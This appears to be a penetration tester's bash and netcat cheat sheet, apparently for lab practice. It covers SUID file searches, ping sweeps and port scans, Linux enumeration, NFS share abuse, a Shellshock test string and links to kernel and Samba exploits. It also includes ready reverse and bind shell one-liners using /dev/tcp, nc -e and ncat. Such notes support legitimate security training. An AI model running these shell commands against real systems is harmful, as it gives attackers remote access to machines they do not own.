shell / bash reference
tee ā send stdin to output file -a to append
File search
find / -iname sdb* -exec {} \; ā find files and execute command on the results
cut -dā/ā -f3 ā cut on the delimiter ā/ā and the 3rd field
find / -perm -4000 -print ā Find all SUID files
find / -perm -4000 -exec ls -l {} \;
find / -perm -2000 -print ā Find all SGID files
find / -perm -2 ! -type l -ls 2>/dev/null ā find world writeable files
Scripting
$1 first argument of script
for script
|
|
IFS ā Line seperator
export IFS=$'\n' ā loop onm line
Ping Sweep ā for i in $(seq 1 254); do ping -c 1 10.11.1.$i; done
Port Scan ā for i in $(cat portlist.txt); do nc -nv -w1 -z 10.11.1.8 $i; done
if
|
|
redirect StdErr to StdOut
2>&1
command 2> /dev/null ā Ignore stderr
Rsverse Shells
reverse shell (bash ā linux)
bash -i >& /dev/tcp/192.168.30.5/443 0>&1
bash -c 'echo 1> /dev/tcp/x.x.x.x/x && echo open || echo false' ā check to see a port is open
Netcat
- client mode ā
nc -nv 127.0.0.1 25 - Server mode ā
nc -nlvp 4444 - Server run command when connecting to port (bind shell) ā
nc -lvp 4444 -e cmd.exe - port scan ā
nc -nvv -w -l -z $ipaddress $startport-$endport - UDP ā
-uargument
reverse shell
- setup netcat server (listener)
nc -nv 127.0.0.1 25 -e /bin/shā connect client to server
ncat
- encrypted netcat rewrite
- bind shell ā
ncat -lvp 4444 -e cmd.exe āallow 192.168.4.4 āssl - client ā
ncat -v 192.168.3.2 4444 āssl
Fixing the Shell
- use python pty
- Set TERM=xterm-color
- background reverse shell run
stty raw -echo
fix shell script ā linux
|
|
tcpdump
-A ā Print each packet (minus its link level header) in ASCII. Handy for capturing web pages.
Python Reference
Python TTY ā python -c 'import pty;pty.spawn("/bin/bash")'
Python Web server ā python -m SimpleHTTPServer 8000
HEX conversion
|
|
python ftp server
# Install pyftpdlib
pip install pyftpdlib
# Run (-w flag allows anonymous write access)
python -m pyftpdlib -p 21 -w
Enumeration
Basic Linux Privilege Escalation
Penetration Testing Methodology ā 0DAYsecurity.com
- Whatās the OS? What version? What architecture?
cat /etc/*-release
uname -i
lsb_release -a(Debian based OSs) - Who are we? Where are we?
id
pwd - Who uses the box? What users? (And which ones have a valid shell)
cat /etc/passwd
grep -vE "nologin|false" /etc/passwd - Whatās currently running on the box? What active network services are there?
ps aux
netstat -antup - Whatās installed? What kernel is being used?
dpkg -l(Debian based OSs)
rpm -qa(CentOS / openSUSE )
uname -a
Exploits
Shell Shock
env X='() { :; }; echo "CVE-2014-6271 vulnerable"' bash -c id
mysql
NFS
showmount -e IP ā list exports
showmount -a IP ā list all mount points
mount -f nfs -o vers=3 IP:SHARE DIR ā mount NFS share
- you can set a local user to match user/group
- export settings
- “root_squash” ā map root user to nobody
- “no_all_squash” ā blocks mapping of other UID to nobody
links
- https://github.com/SecWiki/linux-kernel-exploits
- SambaCry RCE exploit for Samba 4.5.9
- Exploit for Samba vulnerabilty (CVE-2015-0240)
- PoCs Ā· dirtycow/dirtycow.github.io Wiki Ā· GitHub
- GTFOBins is a curated list of Unix binaries that can be exploited by an attacker to bypass local security restrictions.
- Basic Linux Privilege Escalation